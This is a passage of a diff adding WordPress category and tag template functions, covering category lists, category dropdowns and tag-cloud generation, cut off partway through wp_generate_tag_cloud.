+	if ( is_wp_error( $category ) )
+		return $category;
+
+	return ( $category ) ? $category->name : '';
+}
+
+/**
+ * Retrieve category list for a post in either HTML list or custom format.
+ *
+ * @since 1.5.1
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $separator Optional. Separator between the categories. By default, the links are placed
+ *                          in an unordered list. An empty string will result in the default behavior.
+ * @param string $parents Optional. How to display the parents.
+ * @param int $post_id Optional. Post ID to retrieve categories.
+ * @return string
+ */
+function get_the_category_list( $separator = '', $parents = '', $post_id = false ) {
+	global $wp_rewrite;
+	if ( ! is_object_in_taxonomy( get_post_type( $post_id ), 'category' ) ) {
+		/** This filter is documented in wp-includes/category-template.php */
+		return apply_filters( 'the_category', '', $separator, $parents );
+	}
+
+	/**
+	 * Filters the categories before building the category list.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array    $categories An array of the post's categories.
+	 * @param int|bool $post_id    ID of the post we're retrieving categories for. When `false`, we assume the
+	 *                             current post in the loop.
+	 */
+	$categories = apply_filters( 'the_category_list', get_the_category( $post_id ), $post_id );
+
+	if ( empty( $categories ) ) {
+		/** This filter is documented in wp-includes/category-template.php */
+		return apply_filters( 'the_category', __( 'Uncategorized' ), $separator, $parents );
+	}
+
+	$rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? 'rel="category tag"' : 'rel="category"';
+
+	$thelist = '';
+	if ( '' == $separator ) {
+		$thelist .= '<ul class="post-categories">';
+		foreach ( $categories as $category ) {
+			$thelist .= "\n\t<li>";
+			switch ( strtolower( $parents ) ) {
+				case 'multiple':
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, true, $separator );
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a></li>';
+					break;
+				case 'single':
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '"  ' . $rel . '>';
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, false, $separator );
+					$thelist .= $category->name.'</a></li>';
+					break;
+				case '':
+				default:
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a></li>';
+			}
+		}
+		$thelist .= '</ul>';
+	} else {
+		$i = 0;
+		foreach ( $categories as $category ) {
+			if ( 0 < $i )
+				$thelist .= $separator;
+			switch ( strtolower( $parents ) ) {
+				case 'multiple':
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, true, $separator );
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a>';
+					break;
+				case 'single':
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>';
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, false, $separator );
+					$thelist .= "$category->name</a>";
+					break;
+				case '':
+				default:
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a>';
+			}
+			++$i;
+		}
+	}
+
+	/**
+	 * Filters the category or list of categories.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $thelist   List of categories for the current post.
+	 * @param string $separator Separator used between the categories.
+	 * @param string $parents   How to display the category parents. Accepts 'multiple',
+	 *                          'single', or empty.
+	 */
+	return apply_filters( 'the_category', $thelist, $separator, $parents );
+}
+
+/**
+ * Checks if the current post is within any of the given categories.
+ *
+ * The given categories are checked against the post's categories' term_ids, names and slugs.
+ * Categories given as integers will only be checked against the post's categories' term_ids.
+ *
+ * Prior to v2.5 of WordPress, category names were not supported.
+ * Prior to v2.7, category slugs were not supported.
+ * Prior to v2.7, only one category could be compared: in_category( $single_category ).
+ * Prior to v2.7, this function could only be used in the WordPress Loop.
+ * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 1.2.0
+ *
+ * @param int|string|array $category Category ID, name or slug, or array of said.
+ * @param int|object $post Optional. Post to check instead of the current post. (since 2.7.0)
+ * @return bool True if the current post is in any of the given categories.
+ */
+function in_category( $category, $post = null ) {
+	if ( empty( $category ) )
+		return false;
+
+	return has_category( $category, $post );
+}
+
+/**
+ * Display category list for a post in either HTML list or custom format.
+ *
+ * @since 0.71
+ *
+ * @param string $separator Optional. Separator between the categories. By default, the links are placed
+ *                          in an unordered list. An empty string will result in the default behavior.
+ * @param string $parents Optional. How to display the parents.
+ * @param int $post_id Optional. Post ID to retrieve categories.
+ */
+function the_category( $separator = '', $parents = '', $post_id = false ) {
+	echo get_the_category_list( $separator, $parents, $post_id );
+}
+
+/**
+ * Retrieve category description.
+ *
+ * @since 1.0.0
+ *
+ * @param int $category Optional. Category ID. Will use global category ID by default.
+ * @return string Category description, available.
+ */
+function category_description( $category = 0 ) {
+	return term_description( $category, 'category' );
+}
+
+/**
+ * Display or retrieve the HTML dropdown list of categories.
+ *
+ * The 'hierarchical' argument, which is disabled by default, will override the
+ * depth argument, unless it is true. When the argument is false, it will
+ * display all of the categories. When it is enabled it will use the value in
+ * the 'depth' argument.
+ *
+ * @since 2.1.0
+ * @since 4.2.0 Introduced the `value_field` argument.
+ * @since 4.6.0 Introduced the `required` argument.
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of arguments to generate a categories drop-down element. See WP_Term_Query::__construct()
+ *     for information on additional accepted arguments.
+ *
+ *     @type string       $show_option_all   Text to display for showing all categories. Default empty.
+ *     @type string       $show_option_none  Text to display for showing no categories. Default empty.
+ *     @type string       $option_none_value Value to use when no category is selected. Default empty.
+ *     @type string       $orderby           Which column to use for ordering categories. See get_terms() for a list
+ *                                           of accepted values. Default 'id' (term_id).
+ *     @type bool         $pad_counts        See get_terms() for an argument description. Default false.
+ *     @type bool|int     $show_count        Whether to include post counts. Accepts 0, 1, or their bool equivalents.
+ *                                           Default 0.
+ *     @type bool|int     $echo              Whether to echo or return the generated markup. Accepts 0, 1, or their
+ *                                           bool equivalents. Default 1.
+ *     @type bool|int     $hierarchical      Whether to traverse the taxonomy hierarchy. Accepts 0, 1, or their bool
+ *                                           equivalents. Default 0.
+ *     @type int          $depth             Maximum depth. Default 0.
+ *     @type int          $tab_index         Tab index for the select element. Default 0 (no tabindex).
+ *     @type string       $name              Value for the 'name' attribute of the select element. Default 'cat'.
+ *     @type string       $id                Value for the 'id' attribute of the select element. Defaults to the value
+ *                                           of `$name`.
+ *     @type string       $class             Value for the 'class' attribute of the select element. Default 'postform'.
+ *     @type int|string   $selected          Value of the option that should be selected. Default 0.
+ *     @type string       $value_field       Term field that should be used to populate the 'value' attribute
+ *                                           of the option elements. Accepts any valid term field: 'term_id', 'name',
+ *                                           'slug', 'term_group', 'term_taxonomy_id', 'taxonomy', 'description',
+ *                                           'parent', 'count'. Default 'term_id'.
+ *     @type string|array $taxonomy          Name of the category or categories to retrieve. Default 'category'.
+ *     @type bool         $hide_if_empty     True to skip generating markup if no categories are found.
+ *                                           Default false (create select element even if no categories are found).
+ *     @type bool         $required          Whether the `<select>` element should have the HTML5 'required' attribute.
+ *                                           Default false.
+ * }
+ * @return string HTML content only if 'echo' argument is 0.
+ */
+function wp_dropdown_categories( $args = '' ) {
+	$defaults = array(
+		'show_option_all'   => '',
+		'show_option_none'  => '',
+		'orderby'           => 'id',
+		'order'             => 'ASC',
+		'show_count'        => 0,
+		'hide_empty'        => 1,
+		'child_of'          => 0,
+		'exclude'           => '',
+		'echo'              => 1,
+		'selected'          => 0,
+		'hierarchical'      => 0,
+		'name'              => 'cat',
+		'id'                => '',
+		'class'             => 'postform',
+		'depth'             => 0,
+		'tab_index'         => 0,
+		'taxonomy'          => 'category',
+		'hide_if_empty'     => false,
+		'option_none_value' => -1,
+		'value_field'       => 'term_id',
+		'required'          => false,
+	);
+
+	$defaults['selected'] = ( is_category() ) ? get_query_var( 'cat' ) : 0;
+
+	// Back compat.
+	if ( isset( $args['type'] ) && 'link' == $args['type'] ) {
+		_deprecated_argument( __FUNCTION__, '3.0.0',
+			/* translators: 1: "type => link", 2: "taxonomy => link_category" */
+			sprintf( __( '%1$s is deprecated. Use %2$s instead.' ),
+				'<code>type => link</code>',
+				'<code>taxonomy => link_category</code>'
+			)
+		);
+		$args['taxonomy'] = 'link_category';
+	}
+
+	$r = wp_parse_args( $args, $defaults );
+	$option_none_value = $r['option_none_value'];
+
+	if ( ! isset( $r['pad_counts'] ) && $r['show_count'] && $r['hierarchical'] ) {
+		$r['pad_counts'] = true;
+	}
+
+	$tab_index = $r['tab_index'];
+
+	$tab_index_attribute = '';
+	if ( (int) $tab_index > 0 ) {
+		$tab_index_attribute = " tabindex=\"$tab_index\"";
+	}
+
+	// Avoid clashes with the 'name' param of get_terms().
+	$get_terms_args = $r;
+	unset( $get_terms_args['name'] );
+	$categories = get_terms( $r['taxonomy'], $get_terms_args );
+
+	$name = esc_attr( $r['name'] );
+	$class = esc_attr( $r['class'] );
+	$id = $r['id'] ? esc_attr( $r['id'] ) : $name;
+	$required = $r['required'] ? 'required' : '';
+
+	if ( ! $r['hide_if_empty'] || ! empty( $categories ) ) {
+		$output = "<select $required name='$name' id='$id' class='$class' $tab_index_attribute>\n";
+	} else {
+		$output = '';
+	}
+	if ( empty( $categories ) && ! $r['hide_if_empty'] && ! empty( $r['show_option_none'] ) ) {
+
+		/**
+		 * Filters a taxonomy drop-down display element.
+		 *
+		 * A variety of taxonomy drop-down display elements can be modified
+		 * just prior to display via this filter. Filterable arguments include
+		 * 'show_option_none', 'show_option_all', and various forms of the
+		 * term name.
+		 *
+		 * @since 1.2.0
+		 *
+		 * @see wp_dropdown_categories()
+		 *
+		 * @param string       $element  Category name.
+		 * @param WP_Term|null $category The category object, or null if there's no corresponding category.
+		 */
+		$show_option_none = apply_filters( 'list_cats', $r['show_option_none'], null );
+		$output .= "\t<option value='" . esc_attr( $option_none_value ) . "' selected='selected'>$show_option_none</option>\n";
+	}
+
+	if ( ! empty( $categories ) ) {
+
+		if ( $r['show_option_all'] ) {
+
+			/** This filter is documented in wp-includes/category-template.php */
+			$show_option_all = apply_filters( 'list_cats', $r['show_option_all'], null );
+			$selected = ( '0' === strval($r['selected']) ) ? " selected='selected'" : '';
+			$output .= "\t<option value='0'$selected>$show_option_all</option>\n";
+		}
+
+		if ( $r['show_option_none'] ) {
+
+			/** This filter is documented in wp-includes/category-template.php */
+			$show_option_none = apply_filters( 'list_cats', $r['show_option_none'], null );
+			$selected = selected( $option_none_value, $r['selected'], false );
+			$output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$selected>$show_option_none</option>\n";
+		}
+
+		if ( $r['hierarchical'] ) {
+			$depth = $r['depth'];  // Walk the full depth.
+		} else {
+			$depth = -1; // Flat.
+		}
+		$output .= walk_category_dropdown_tree( $categories, $depth, $r );
+	}
+
+	if ( ! $r['hide_if_empty'] || ! empty( $categories ) ) {
+		$output .= "</select>\n";
+	}
+	/**
+	 * Filters the taxonomy drop-down output.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output HTML output.
+	 * @param array  $r      Arguments used to build the drop-down.
+	 */
+	$output = apply_filters( 'wp_dropdown_cats', $output, $r );
+
+	if ( $r['echo'] ) {
+		echo $output;
+	}
+	return $output;
+}
+
+/**
+ * Display or retrieve the HTML list of categories.
+ *
+ * @since 2.1.0
+ * @since 4.4.0 Introduced the `hide_title_if_empty` and `separator` arguments. The `current_category` argument was modified to
+ *              optionally accept an array of values.
+ *
+ * @param string|array $args {
+ *     Array of optional arguments.
+ *
+ *     @type int          $child_of              Term ID to retrieve child terms of. See get_terms(). Default 0.
+ *     @type int|array    $current_category      ID of category, or array of IDs of categories, that should get the
+ *                                               'current-cat' class. Default 0.
+ *     @type int          $depth                 Category depth. Used for tab indentation. Default 0.
+ *     @type bool|int     $echo                  True to echo markup, false to return it. Default 1.
+ *     @type array|string $exclude               Array or comma/space-separated string of term IDs to exclude.
+ *                                               If `$hierarchical` is true, descendants of `$exclude` terms will also
+ *                                               be excluded; see `$exclude_tree`. See get_terms().
+ *                                               Default empty string.
+ *     @type array|string $exclude_tree          Array or comma/space-separated string of term IDs to exclude, along
+ *                                               with their descendants. See get_terms(). Default empty string.
+ *     @type string       $feed                  Text to use for the feed link. Default 'Feed for all posts filed
+ *                                               under [cat name]'.
+ *     @type string       $feed_image            URL of an image to use for the feed link. Default empty string.
+ *     @type string       $feed_type             Feed type. Used to build feed link. See get_term_feed_link().
+ *                                               Default empty string (default feed).
+ *     @type bool|int     $hide_empty            Whether to hide categories that don't have any posts attached to them.
+ *                                               Default 1.
+ *     @type bool         $hide_title_if_empty   Whether to hide the `$title_li` element if there are no terms in
+ *                                               the list. Default false (title will always be shown).
+ *     @type bool         $hierarchical          Whether to include terms that have non-empty descendants.
+ *                                               See get_terms(). Default true.
+ *     @type string       $order                 Which direction to order categories. Accepts 'ASC' or 'DESC'.
+ *                                               Default 'ASC'.
+ *     @type string       $orderby               The column to use for ordering categories. Default 'name'.
+ *     @type string       $separator             Separator between links. Default '<br />'.
+ *     @type bool|int     $show_count            Whether to show how many posts are in the category. Default 0.
+ *     @type string       $show_option_all       Text to display for showing all categories. Default empty string.
+ *     @type string       $show_option_none      Text to display for the 'no categories' option.
+ *                                               Default 'No categories'.
+ *     @type string       $style                 The style used to display the categories list. If 'list', categories
+ *                                               will be output as an unordered list. If left empty or another value,
+ *                                               categories will be output separated by `<br>` tags. Default 'list'.
+ *     @type string       $taxonomy              Taxonomy name. Default 'category'.
+ *     @type string       $title_li              Text to use for the list title `<li>` element. Pass an empty string
+ *                                               to disable. Default 'Categories'.
+ *     @type bool|int     $use_desc_for_title    Whether to use the category description as the title attribute.
+ *                                               Default 1.
+ * }
+ * @return false|string HTML content only if 'echo' argument is 0.
+ */
+function wp_list_categories( $args = '' ) {
+	$defaults = array(
+		'child_of'            => 0,
+		'current_category'    => 0,
+		'depth'               => 0,
+		'echo'                => 1,
+		'exclude'             => '',
+		'exclude_tree'        => '',
+		'feed'                => '',
+		'feed_image'          => '',
+		'feed_type'           => '',
+		'hide_empty'          => 1,
+		'hide_title_if_empty' => false,
+		'hierarchical'        => true,
+		'order'               => 'ASC',
+		'orderby'             => 'name',
+		'separator'           => '<br />',
+		'show_count'          => 0,
+		'show_option_all'     => '',
+		'show_option_none'    => __( 'No categories' ),
+		'style'               => 'list',
+		'taxonomy'            => 'category',
+		'title_li'            => __( 'Categories' ),
+		'use_desc_for_title'  => 1,
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	if ( !isset( $r['pad_counts'] ) && $r['show_count'] && $r['hierarchical'] )
+		$r['pad_counts'] = true;
+
+	// Descendants of exclusions should be excluded too.
+	if ( true == $r['hierarchical'] ) {
+		$exclude_tree = array();
+
+		if ( $r['exclude_tree'] ) {
+			$exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $r['exclude_tree'] ) );
+		}
+
+		if ( $r['exclude'] ) {
+			$exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $r['exclude'] ) );
+		}
+
+		$r['exclude_tree'] = $exclude_tree;
+		$r['exclude'] = '';
+	}
+
+	if ( ! isset( $r['class'] ) )
+		$r['class'] = ( 'category' == $r['taxonomy'] ) ? 'categories' : $r['taxonomy'];
+
+	if ( ! taxonomy_exists( $r['taxonomy'] ) ) {
+		return false;
+	}
+
+	$show_option_all = $r['show_option_all'];
+	$show_option_none = $r['show_option_none'];
+
+	$categories = get_categories( $r );
+
+	$output = '';
+	if ( $r['title_li'] && 'list' == $r['style'] && ( ! empty( $categories ) || ! $r['hide_title_if_empty'] ) ) {
+		$output = '<li class="' . esc_attr( $r['class'] ) . '">' . $r['title_li'] . '<ul>';
+	}
+	if ( empty( $categories ) ) {
+		if ( ! empty( $show_option_none ) ) {
+			if ( 'list' == $r['style'] ) {
+				$output .= '<li class="cat-item-none">' . $show_option_none . '</li>';
+			} else {
+				$output .= $show_option_none;
+			}
+		}
+	} else {
+		if ( ! empty( $show_option_all ) ) {
+
+			$posts_page = '';
+
+			// For taxonomies that belong only to custom post types, point to a valid archive.
+			$taxonomy_object = get_taxonomy( $r['taxonomy'] );
+			if ( ! in_array( 'post', $taxonomy_object->object_type ) && ! in_array( 'page', $taxonomy_object->object_type ) ) {
+				foreach ( $taxonomy_object->object_type as $object_type ) {
+					$_object_type = get_post_type_object( $object_type );
+
+					// Grab the first one.
+					if ( ! empty( $_object_type->has_archive ) ) {
+						$posts_page = get_post_type_archive_link( $object_type );
+						break;
+					}
+				}
+			}
+
+			// Fallback for the 'All' link is the posts page.
+			if ( ! $posts_page ) {
+				if ( 'page' == get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) ) {
+					$posts_page = get_permalink( get_option( 'page_for_posts' ) );
+				} else {
+					$posts_page = home_url( '/' );
+				}
+			}
+
+			$posts_page = esc_url( $posts_page );
+			if ( 'list' == $r['style'] ) {
+				$output .= "<li class='cat-item-all'><a href='$posts_page'>$show_option_all</a></li>";
+			} else {
+				$output .= "<a href='$posts_page'>$show_option_all</a>";
+			}
+		}
+
+		if ( empty( $r['current_category'] ) && ( is_category() || is_tax() || is_tag() ) ) {
+			$current_term_object = get_queried_object();
+			if ( $current_term_object && $r['taxonomy'] === $current_term_object->taxonomy ) {
+				$r['current_category'] = get_queried_object_id();
+			}
+		}
+
+		if ( $r['hierarchical'] ) {
+			$depth = $r['depth'];
+		} else {
+			$depth = -1; // Flat.
+		}
+		$output .= walk_category_tree( $categories, $depth, $r );
+	}
+
+	if ( $r['title_li'] && 'list' == $r['style'] && ( ! empty( $categories ) || ! $r['hide_title_if_empty'] ) ) {
+		$output .= '</ul></li>';
+	}
+
+	/**
+	 * Filters the HTML output of a taxonomy list.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output HTML output.
+	 * @param array  $args   An array of taxonomy-listing arguments.
+	 */
+	$html = apply_filters( 'wp_list_categories', $output, $args );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	} else {
+		return $html;
+	}
+}
+
+/**
+ * Display tag cloud.
+ *
+ * The text size is set by the 'smallest' and 'largest' arguments, which will
+ * use the 'unit' argument value for the CSS text size unit. The 'format'
+ * argument can be 'flat' (default), 'list', or 'array'. The flat value for the
+ * 'format' argument will separate tags with spaces. The list value for the
+ * 'format' argument will format the tags in a UL HTML list. The array value for
+ * the 'format' argument will return in PHP array type format.
+ *
+ * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'.
+ * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC'.
+ *
+ * The 'number' argument is how many tags to return. By default, the limit will
+ * be to return the top 45 tags in the tag cloud list.
+ *
+ * The 'topic_count_text' argument is a nooped plural from _n_noop() to generate the
+ * text for the tag link count.
+ *
+ * The 'topic_count_text_callback' argument is a function, which given the count
+ * of the posts with that tag returns a text for the tag link count.
+ *
+ * The 'post_type' argument is used only when 'link' is set to 'edit'. It determines the post_type
+ * passed to edit.php for the popular tags edit links.
+ *
+ * The 'exclude' and 'include' arguments are used for the get_tags() function. Only one
+ * should be used, because only one will be used and the other ignored, if they are both set.
+ *
+ * @since 2.3.0
+ * @since 4.8.0 Added the `show_count` argument.
+ *
+ * @param array|string|null $args Optional. Override default arguments.
+ * @return void|array Generated tag cloud, only if no failures and 'array' is set for the 'format' argument.
+ *                    Otherwise, this function outputs the tag cloud.
+ */
+function wp_tag_cloud( $args = '' ) {
+	$defaults = array(
+		'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45,
+		'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC',
+		'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'post_type' => '', 'echo' => true,
+		'show_count' => 0,
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	$tags = get_terms( $args['taxonomy'], array_merge( $args, array( 'orderby' => 'count', 'order' => 'DESC' ) ) ); // Always query top tags
+
+	if ( empty( $tags ) || is_wp_error( $tags ) )
+		return;
+
+	foreach ( $tags as $key => $tag ) {
+		if ( 'edit' == $args['link'] )
+			$link = get_edit_term_link( $tag->term_id, $tag->taxonomy, $args['post_type'] );
+		else
+			$link = get_term_link( intval($tag->term_id), $tag->taxonomy );
+		if ( is_wp_error( $link ) )
+			return;
+
+		$tags[ $key ]->link = $link;
+		$tags[ $key ]->id = $tag->term_id;
+	}
+
+	$return = wp_generate_tag_cloud( $tags, $args ); // Here's where those top tags get sorted according to $args
+
+	/**
+	 * Filters the tag cloud output.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $return HTML output of the tag cloud.
+	 * @param array  $args   An array of tag cloud arguments.
+	 */
+	$return = apply_filters( 'wp_tag_cloud', $return, $args );
+
+	if ( 'array' == $args['format'] || empty($args['echo']) )
+		return $return;
+
+	echo $return;
+}
+
+/**
+ * Default topic count scaling for tag links.
+ *
+ * @since 2.9.0
+ *
+ * @param int $count Number of posts with that tag.
+ * @return int Scaled count.
+ */
+function default_topic_count_scale( $count ) {
+	return round(log10($count + 1) * 100);
+}
+
+/**
+ * Generates a tag cloud (heatmap) from provided data.
+ *
+ * @todo Complete functionality.
+ * @since 2.3.0
+ * @since 4.8.0 Added the `show_count` argument.
+ *
+ * @param array $tags List of tags.
+ * @param string|array $args {
+ *     Optional. Array of string of arguments for generating a tag cloud.
+ *
+ *     @type int      $smallest                   Smallest font size used to display tags. Paired
+ *                                                with the value of `$unit`, to determine CSS text
+ *                                                size unit. Default 8 (pt).
+ *     @type int      $largest                    Largest font size used to display tags. Paired
+ *                                                with the value of `$unit`, to determine CSS text
+ *                                                size unit. Default 22 (pt).
+ *     @type string   $unit                       CSS text size unit to use with the `$smallest`
+ *                                                and `$largest` values. Accepts any valid CSS text
+ *                                                size unit. Default 'pt'.
+ *     @type int      $number                     The number of tags to return. Accepts any
+ *                                                positive integer or zero to return all.
+ *                                                Default 0.
+ *     @type string   $format                     Format to display the tag cloud in. Accepts 'flat'
+ *                                                (tags separated with spaces), 'list' (tags displayed
+ *                                                in an unordered list), or 'array' (returns an array).
+ *                                                Default 'flat'.
+ *     @type string   $separator                  HTML or text to separate the tags. Default "\n" (newline).
+ *     @type string   $orderby                    Value to order tags by. Accepts 'name' or 'count'.
+ *                                                Default 'name'. The {@see 'tag_cloud_sort'} filter
+ *                                                can also affect how tags are sorted.
+ *     @type string   $order                      How to order the tags. Accepts 'ASC' (ascending),
+ *                                                'DESC' (descending), or 'RAND' (random). Default 'ASC'.
+ *     @type int|bool $filter                     Whether to enable filtering of the final output
+ *                                                via {@see 'wp_generate_tag_cloud'}. Default 1|true.
+ *     @type string   $topic_count_text           Nooped plural text from _n_noop() to supply to
+ *                                                tag counts. Default null.
+ *     @type callable $topic_count_text_callback  Callback used to generate nooped plural text for
+ *                                                tag counts based on the count. Default null.
+ *     @type callable $topic_count_scale_callback Callback used to determine the tag count scaling
+ *                                                value. Default default_topic_count_scale().
+ *     @type bool|int $show_count                 Whether to display the tag counts. Default 0. Accepts
+ *                                                0, 1, or their bool equivalents.
+ * }
+ * @return string|array Tag cloud as a string or an array, depending on 'format' argument.
+ */
+function wp_generate_tag_cloud( $tags, $args = '' ) {
+	$defaults = array(
+		'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 0,
+		'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC',
+		'topic_count_text' => null, 'topic_count_text_callback' => null,
+		'topic_count_scale_callback' => 'default_topic_count_scale', 'filter' => 1,
+		'show_count' => 0,
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	$return = ( 'array' === $args['format'] ) ? array() : '';
+
+	if ( empty( $tags ) ) {
+		return $return;
+	}
+
+	// Juggle topic counts.
+	if ( isset( $args['topic_count_text'] ) ) {
+		// First look for nooped plural support via topic_count_text.
+		$translate_nooped_plural = $args['topic_count_text'];
+	} elseif ( ! empty( $args['topic_count_text_callback'] ) ) {
+		// Look for the alternative callback style. Ignore the previous default.
+		if ( $args['topic_count_text_callback'] === 'default_topic_count_text' ) {
+			$translate_nooped_plural = _n_noop( '%s item', '%s items' );
+		} else {
+			$translate_nooped_plural = false;
+		}
+	} elseif ( isset( $args['single_text'] ) && isset( $args['multiple_text'] ) ) {
+		// If no callback exists, look for the old-style single_text and multiple_text arguments.
+		$translate_nooped_plural = _n_noop( $args['single_text'], $args['multiple_text'] );
+	} else {
+		// This is the default for when no callback, plural, or argument is passed in.
+		$translate_nooped_plural = _n_noop( '%s item', '%s items' );
+	}
+
+	/**
+	 * Filters how the items in a tag cloud are sorted.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $tags Ordered array of terms.
+	 * @param array $args An array of tag cloud arguments.
+	 */
+	$tags_sorted = apply_filters( 'tag_cloud_sort', $tags, $args );
+	if ( empty( $tags_sorted ) ) {
+		return $return;
+	}
+
+	if ( $tags_sorted !== $tags ) {
+		$tags = $tags_sorted;
+		unset( $tags_sorted );
+	} else {
+		if ( 'RAND' === $args['order'] ) {
+			shuffle( $tags );
+		} else {
+			// SQL cannot save you; this is a second (potentially different) sort on a subset of data.
+			if ( 'name' === $args['orderby'] ) {
+				uasort( $tags, '_wp_object_name_sort_cb' );
+			} else {
+				uasort( $tags, '_wp_object_count_sort_cb' );
+			}
+
+			if ( 'DESC' === $args['order'] ) {
+				$tags = array_reverse( $tags, true );
+			}
+		}
+	}
+
+	if ( $args['number'] > 0 )
+		$tags = array_slice( $tags, 0, $args['number'] );
+
+	$counts = array();
+	$real_counts = array(); // For the alt tag
+	foreach ( (array) $tags as $key => $tag ) {
+		$real_counts[ $key ] = $tag->count;
+		$counts[ $key ] = call_user_func( $args['topic_count_scale_callback'], $tag->count );
+	}
+
+	$min_count = min( $counts );
+	$spread = max( $counts ) - $min_count;
+	if ( $spread <= 0 )
+		$spread = 1;
+	$font_spread = $args['largest'] - $args['smallest'];
+	if ( $font_spread < 0 )
+		$font_spread = 1;
+	$font_step = $font_spread / $spread;
+
+	$aria_label = false;
+	/*
+	 * Determine whether to output an 'aria-label' attribute with the tag name and count.
+	 * When tags have a different font size, they visually convey an important information
+	 * that should be available to assistive technologies too. On the other hand, sometimes
+	 * themes set up the Tag Cloud to display all tags with the same font size (setting
+	 * the 'smallest' and 'largest' arguments to the same value).
+	 * In order to always serve the same content to all users, the 'aria-label' gets printed out:
+	 * - when tags have a different size
+	 * - when the tag count is displayed (for example when users check the checkbox in the
+	 *   Tag Cloud widget), regardless of the tags font size
+	 */
+	if ( $args['show_count'] || 0 !== $font_spread ) {
+		$aria_label = true;
+	}
+
+	// Assemble the data that will be used to generate the tag cloud markup.
+	$tags_data = array();
+	foreach ( $tags as $key => $tag ) {
+		$tag_id = isset( $tag->id ) ? $tag->id : $key;
+
+		$count = $counts[ $key ];
+		$real_count = $real_counts[ $key ];
+
+		if ( $translate_nooped_plural ) {
+			$formatted_count = sprintf( translate_nooped_plural( $translate_nooped_plural, $real_count ), number_format_i18n( $real_count ) );
+		} else {
+			$formatted_count = call_user_func( $args['topic_count_text_callback'], $real_count, $tag, $args );
+		}
+
+		$tags_data[] = array(
+			'id'              => $tag_id,
+			'url'             => '#' != $tag->link ? $tag->link : '#',
+			'role'            => '#' != $tag->link ? '' : ' role="button"',
+			'name'            => $tag->name,
+			'formatted_count' => $formatted_count,
+			'slug'            => $tag->slug,
+			'real_count'      => $real_count,
+			'class'           => 'tag-cloud-link tag-link-' . $tag_id,
+			'font_size'       => $args['smallest'] + ( $count - $min_count ) * $font_step,
+			'aria_label'      => $aria_label ? sprintf( ' aria-label="%1$s (%2$s)"', esc_attr( $tag->name ), esc_attr( $formatted_count ) ) : '',
+			'show_count'      => $args['show_count'] ? '<span class="tag-link-count"> (' . $real_count . ')</span>' : '',
+		);
+	}
+
+	/**
+	 * Filters the data used to generate the tag cloud.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $tags_data An array of term data for term used to generate the tag cloud.
+	 */
+	$tags_data = apply_filters( 'wp_generate_tag_cloud_data', $tags_data );
+
+	$a = array();
+
+	// Generate the output links array.
+	foreach ( $tags_data as $key => $tag_data ) {
+		$class = $tag_data['class'] . ' tag-link-position-' . ( $key + 1 );
+		$a[] = sprintf(
+			'<a href="%1$s"%2$s class="%3$s" style="font-size: %4$s;"%5$s>%6$s%7$s</a>',
+			esc_url( $tag_data['url'] ),
+			$tag_data['role'],
+			esc_attr( $class ),
+			esc_attr( str_replace( ',', '.', $tag_data['font_size'] ) . $args['unit'] ),
+			$tag_data['aria_label'],
+			esc_html( $tag_data['name'] ),
+			$tag_data['show_count']
+		);
+	}
+
+	switch ( $args['format'] ) {
+		case 'array' :
+			$return =& $a;
+			break;
+		case 'list' :
+			/*
+			 * Force role="list", as some browsers (sic: Safari 10) don't expose to assistive
+			 * technologies the default role when the list is styled with `list-style: none`.
+			 * Note: this is redundant but doesn't harm.
+			 */
+			$return = "<ul class='wp-tag-cloud' role='list'>\n\t<li>";
+			$return .= join( "</li>\n\t<li>", $a );
+			$return .= "</li>\n</ul>\n";
+			break;
+		default :
+			$return = join( $args['separator'], $a );
+			break;
+	}
+
+	if ( $args['filter'] ) {
+		/**
+		 * Filters the generated output of a tag cloud.
+		 *
+		 * The filter is only evaluated if a true value is passed
+		 * to the $filter argument in wp_generate_tag_cloud().
+		 *
+		 * @since 2.3.0
+		 *
+		 * @see wp_generate_tag_cloud()
+		 *
+		 * @param array|string $return String containing the generated HTML tag cloud output
+		 *                             or an array of tag links if the 'format' argument
+		 *                             equals 'array'.
+		 * @param array        $tags   An array of terms used in the tag cloud.
+		 * @param array        $args   An array of wp_generate_tag_cloud() arguments.
+		 */
